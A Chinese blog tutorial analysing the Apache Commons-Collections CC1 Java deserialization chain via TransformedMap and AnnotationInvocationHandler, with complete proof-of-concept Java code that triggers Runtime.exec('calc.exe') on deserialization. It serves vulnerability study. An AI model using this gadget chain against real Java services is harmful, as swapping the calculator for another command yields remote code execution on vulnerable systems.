Java反序列化漏洞Apache CommonsCollections分析
Java反序列化漏洞Apache CommonsCollections分析
cc链,既为Commons-Collections利用链。此篇文章为cc链的第一条链CC1。而CC1目前用的比较多的有两条链,LazyMap和TransformedMap。在ysoserial工具中,利用的是LazyMap链,而我们此篇分析的则是TransformedMap链。
1.本文所需前置知识
java反序列化基础
java反射基础
文章参考:https://github.com/Maskhe/javasec/blob/master/3. apache commons-collections中的反序列化.md
2.实验环境
JDK1.7.0_80
commons-collections-3.2.1
3.分析
3.1 Transformer接口
打开org.apache.commons.collections.Transformer类,可以看到源码中对该类的解释是从一个对象变为另一个对象(Transforms the input object (leaving it unchanged) into some output object.),如下图所示:
下面我们使用一个例子来解释这个类的作用:
当输入Runtime.class时输出了类的类型
我们要进行对象的转变时候,对应的操作应该在transform方法中。
Ctrl+H 查找实现了Transformer接口的类,重点关注以下几个类ConstantTransformer,invokerTransformer,ChainedTransformer。我们通过分析这几个类来构造payload。
3.2 ConstantTransformer
该类使用了Transformer的接口,重写了transformer的方法
transformer返回了iConstant变量,而这个变量在ConstantTransformer方法中被赋值。我们使用这个方法看下作用。
在return iConstant;处设置断点,运行程序查看返回值,发现这里返回的是Runtime.class
3.3 InvokerTransformer
查看源码说是通过反射创建一个新的对象(Transformer implementation that creates a new object instance by reflection.)
来到InvokerTransformer的transform方法:
可以明显看到这里使用了反射的方式来调用对象的方法,还有有几个变量iMethodName,iParamTypes,iArgs
这几个变量是通过public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)这个构造函数传入。
利用构造函数传入值,调用transform方法
查看InvokerTransformer源码找到
iParamTypes为Class[]集合
iArgs为Obeject[]集合
再查看getMethod源码得知getMethod要传入二个参数,类型为String,Class[]
同理invoke也要传入两个参数Object,Object[]
构造出方法并执行:
可以看到这里反射出了Runtime.getRuntime()的方法,而我们要构造出Runtime.getRuntime().exec();怎么办呢,这里再介绍一个类ChainedTransformer
3.4 ChainedTransformer
查看源码transform方法,这里是遍历一个iTransformers[]集合,并且里面的每个参数都会调用一次transform方法并且依次拼接成一条链式调用,如果我们传入InvokerTransformer作为参数,那么将调用InvokerTransformer中的transform方法执行反射操作。
利用ChainedTransformer反射链构造POC的步骤
new Transform[]数组 → 利用ChainedTransformer的构造方法 → 赋值给iTransformers → 调用ChainedTransformer.transform
用ConstantTransformer来构造开头的Runtime.class对象
反射链最终执行的是((Runtime) Runtime.class.getMethod("getRuntime").invoke("null")).exec("calc.exe");
两点疑问:
1.为什么不可以直接通过以下构造Runtime.getRuntime().exec(),而是要通过反射构造((Runtime) Runtime.class.getMethod("getRuntime").invoke("null")).exec("calc.exe");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Runtime
没有继承 Serializable
接口,我们无法将其进行序列化。
而通过Runtime.class变成Class对象后,Class就继承了Serializable。
以下为Class对象,继承了Serializable
所以先通过先构造Runtime对象:Runtime.class.getMethod("getRuntime").invoke("null")
Runtime对象不能直接 new拿,原因是 Runtime 类的构造方法是私有的。所以要通过单例模式的静态方法,也就是Runtime.getRuntime()拿到Runtime对象
再用Runtime对象.exec执行命令,得出完整的payload就为:
Runtime.class.getMethod("getRuntime").invoke("null")).exec("calc.exe")
2.这里invoke("null")的值为什么null。
如果method.invoke中的method为静态方法,那么可以用null或者用类class来代替
而Runtime.getRuntime中的getRuntime是静态方法
其中的chain.transform('1');是可以传入任意Object对象
成功弹出计算器
应该怎么在真实的应用中触发ChainedTransformer的transform方法,接下来寻找下调用了或者可以间接调用ChainedTransformer.transform的类,其中有两个类LazyMap、TransformedMap。本篇文章就来讲TransformedMap链
3.5 TransformedMap链
在TransformedMap中,有三处使用了transform方法,transformKey,transformValue,checkSetValue
这三处如果能传入值ChainedTransformer,就能调用ChainedTransformer.transform。前提是符合类型
我们先看下keyTransformer,valueTransformer的类型
看到为Transformer类型,可以传入ChainedTransformer,利用TransformedMap的三个方法transformKey、transformValue、checkSetValue触发ChainedTransformer#transform方法,可是发现这几个方法都是protected权限,无法被外界访问。
那么有什么方法可以传入ChainedTransformer,并且调用到这三个方法呢
可以通过内部类进行调用。寻找下权限为public的函数。
重点看下decorate方法传入了keyTransformer,valueTransformer的值
put方法依次调用了transformKey,transformValue方法,而这两个方法又调用了transform方法
我们可以通过实例化一个TransforomedMap对象,调用decorate方法传入keyTransformer,valueTransformer的值,利用对象的put方法执行transformKey、transformValue方法,从而执行任意命令
构造的poc:
public class PocTest {
public static void main(String[] args) {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers_exec);
HashMap hashMap = new HashMap();
Map decorate = TransformedMap.decorate(hashMap,null,chainedTransformer);
decorate.put("xxx","xxx");
}
}
现在我们能触发transform了,但是要找一个类,可以利用反序列化自动触发类似的操作,必须满足以下条件:
这个类重写了readObject(),并且readObject方法中能调用TransformedMap的transformKey、transformValue、checkSetValue这几个方法
TransformedMap#transformKey
TransformedMap#transformValue
TransformedMap#checkSetValue
这里我们选择调用了checkSetValue方法
3.6 AnnotationInvocationHandler类
此类是sun.reflect.annotation包下
在java 8u71以后,官方修改了AnnotationInvocationHandler#readObject,故无法采用此类触发漏洞
下面是JDK1.7得AnnotationInvocationHandler#readObject
这里重写了readObject方法,并对Map类型的属性的entry进行了setValue操作
首先来看一个点,TransformedMap里的每个entry在调用setValue方法时,会自动调用TransformedMap类的checkSetValue方法。至于这里为什么会产生调用,来看下对于checkSetValue这个方法的注释
翻译过来就大概说的是,在执行setValue方法的时候,value值调用transform方法进行转换。
这个checkSetValue方法其实是覆盖重写了其父类AbstractInputCheckedMapDecorator的checkSetValue方法,在父类方法中有对checkSetValue方法的解释,调用一次setValue方法就会调用到checkSetValue方法进行值得检查。
上面大致是我自己的理解,所以TransformedMap里的entry在调用setValue方法时,会调用到checkSetValue方法进行检查值。
接下来我们进行分析这里是如何进行调用的
TransformedMap的entry是怎么来的
我们知道Map的Entry对象由Map.entrySet()产生,所以TransformedMap的Entry对象是TransformedMap.entrySet()
我们来看看TransformedMap.entrySet()的调用
TransformedMap类本身是没有entrySet()方法的,它是继承了AbstractInputCheckedMapDecorator类的entrySet方法
看return返回值是一个EntrySet对象
跟进EntrySet,发现是一个还在AbstractInputCheckedMapDecorator类中,EntrySet是一个AbstractInputCheckedMapDecorator的静态内部类
到最后调用到.next()后,此处TransformedMap.entrySet()返回的类型就变成了AbstractInputCheckedMapDecorator$MapEntry类型。
因此得到,如果有这样的代码:
Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 通过迭代器获取第一组值
entry.setValue(Object.class);
此时的entry变量就变成了AbstractInputCheckedMapDecorator$MapEntry类型
而示例中,entry.setValue()调用的就是AbstractInputCheckedMapDecorator$MapEntry中的setValue方法
这里的setValue中又调用了checkSetValue方法。
这里parent的值如果为TransformedMap,也就调用到了TransformedMap#checkSetValue方法
这里有个疑问,parent值是怎么传递进去的的?其实当进行到map.entrySet()方法的时候,TransformedMap传进了EntrySet的构造方法的参数中,this即代表这个类
下一步EntrySet构造方法进行了this.parent = parent的赋值
我们写一个demon来看下:
public class myTransformedMap {
public static void main(String[] args){
ChainedTransformer chained = null;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};
chained = new ChainedTransformer(transformers);
Map m = new HashMap();
Map map = TransformedMap.decorate(m,null,chained);
Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 通过迭代器获取第一组值
entry.setValue(Object.class); // 参数不重要
}
}
此处 Map.Entry entry的类型变成了AbstractInputCheckedMapDecorator$MapEntry类型
在entry.setValue(Object.class); 处下断点,跟进发现跳转至了AbstractInputCheckedMapDecorator.setValue,里面就是调用到了TransformedMap的checkSetValue方法
AnnotationInvocationHandler的利用
看AnnotationInvocationHandler#readObject方法中调用了var5.setValue
要是var5的值为TransformedMap的entry对象,那么就能触发TransformedMap#checkSetValue方法了。
往上几行看到,var5其实为this.memberValues中的其中一个entry,这里可能不太理解,所以我们把这两行连起来看
var5 = (Entry)this.memberValues.entrySet().iterator().next();
所以,只要把this.memberValues值设置为TransformerdMap,就可以通过TransformerdMap.entrySet().iterator().next()拿到一个TransformerdMap得entry,通过拿到得entry.setValue就可以触发TransformerdMap得checkSetValue检查,而执行到transform
要想执行到var5.setValue,前置条件是满足if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))
var7 = (Class)var3.get(var6),其中var3=var2.memberTypes(),然后var2=AnnotationType.getInstance(this.type),而this.type为构造函数中的第一个值var1。
在这里var1首先要继承Annotation,而Annotation是所有注解类默认继承的接口,我找到了两个符合条件得注解类
java.lang.annotation.Target和java.lang.annotation.Retention
构造POC:
package com.yyhuni;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class PocTest {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
POC里面包含了两个点:
1.innerMap.put("value","asdf");的Key一定要为value,不然无法利用
具体调用这里不再分析,只是说明下:
AnnotationInvocationHandler构造函数第一个参数是Annotation的子类,且其中必须含有至少一个方法。
Key的值就是那个Annotation子类中的方法名称value
2.AnnotationInvocationHandler类要用反射来创建
AnnotationInvocationHandler类的修饰限定符是default,意思是包访问权限,默认只有同一个包才可以使用。
欢迎关注我的公众号,同步更新喔
Java反序列化漏洞Apache CommonsCollections分析的更多相关文章
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- 学习笔记 | java反序列化漏洞分析
java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- Java反序列化漏洞实现
一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...
- Java反序列化漏洞之殇
ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...
- Java反序列化漏洞从入门到深入(转载)
前言 学习本系列文章需要的Java基础: 了解Java基础语法及结构(菜鸟教程) 了解Java面向对象编程思想(快速理解请上知乎读故事,深入钻研建议买本<疯狂Java讲义>另外有一个刘意老 ...
- 通过WebGoat学习java反序列化漏洞
首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...
- java反序列化漏洞原理研习
零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...
随机推荐
- DevOps基础的认识与工具实践
什么是DevOps DevOps 强调的是高效组织团队之间如何通过自动化的工具协作和沟通来完成软件的生命周期管理,从而更快.更频繁地交付更稳定的软件 Devops 包含了敏捷开发,测试,运维 DevO ...
- 记一次GKCTF之旅
GKCTF游记 昨天吧,去GKCTF玩了一下.题目很有意思,宝可梦也很好玩,我心情非常好,天台的风也很大...... 不多说了,把昨天认真看过的几道题记录总结一下.这里特别感谢出题的二进制师傅们,感谢 ...
- 35岁Android程序员被阿里辞退,生活压力太大痛哭,中年危机如何自救?
多数人都喜欢安逸的生活,尤其是随着年龄的增长,很多人都希望工作和生活趋于稳定,不愿意再让生活有很大的变动.可是,当达到一定的年龄时,危机还是存在的. 之前有一位阿里员工在脉脉上,晒出了自己被辞退的经历 ...
- .Net Core如何优雅的实现中间件
在.Net Core的源码中,很多地方都有中间件的地方,Kestrel Server和Asp.net Core 等都用了中间件的设计,比如在Kestrel Server中,Http协议的1.0, 1. ...
- [SQL]数据更新
插入数据 插入单个元组 一般格式: insert into <表名> [<列名1>, <列明2>, --] -- 指出在表中新插入的值的列, values(< ...
- Linux下的USB总线驱动(一)
版权所有,转载请说明转自 http://my.csdn.net/weiqing1981127 一.USB理论 1. USB概念概述 USB1.0版本速度1.5Mbps(低速USB) USB1 ...
- Golang语言系列-07-函数
函数 函数的基本概念 package main import ( "fmt" ) // 函数 // 函数存在的意义:函数能够让代码结构更加清晰,更简洁,能够让代码复用 // 函数是 ...
- Java 常用类库与技巧【笔记】
Java 常用类库与技巧[笔记] Java异常体系 Java异常相关知识 Java在其创立的时候就设置了比较有效的处理机制,其异常处理机制主要回答了三个问题:what,where,why what表示 ...
- SpringBoot中实现支付宝支付
本文只介绍当面付(扫码支付)和APP支付 一. 接入准备 #这里分两种情况,正式环境和沙箱环境,本文使用沙箱环境 1.进入支付宝开放平台,创建应用 登录 支付宝开放平台,创建应用并提交审核,审核通过后 ...
- NOIP 模拟 $34\; \rm Rectangle$
题解 \(by\;zj\varphi\) 对于没有在同一行或同一列的情况,直接枚举右边界,左边界从大到小,用树状数组维护上下边界即可. 而对于有多个在一列或一行的情况,这些点将左右分成了几个区间,枚举 ...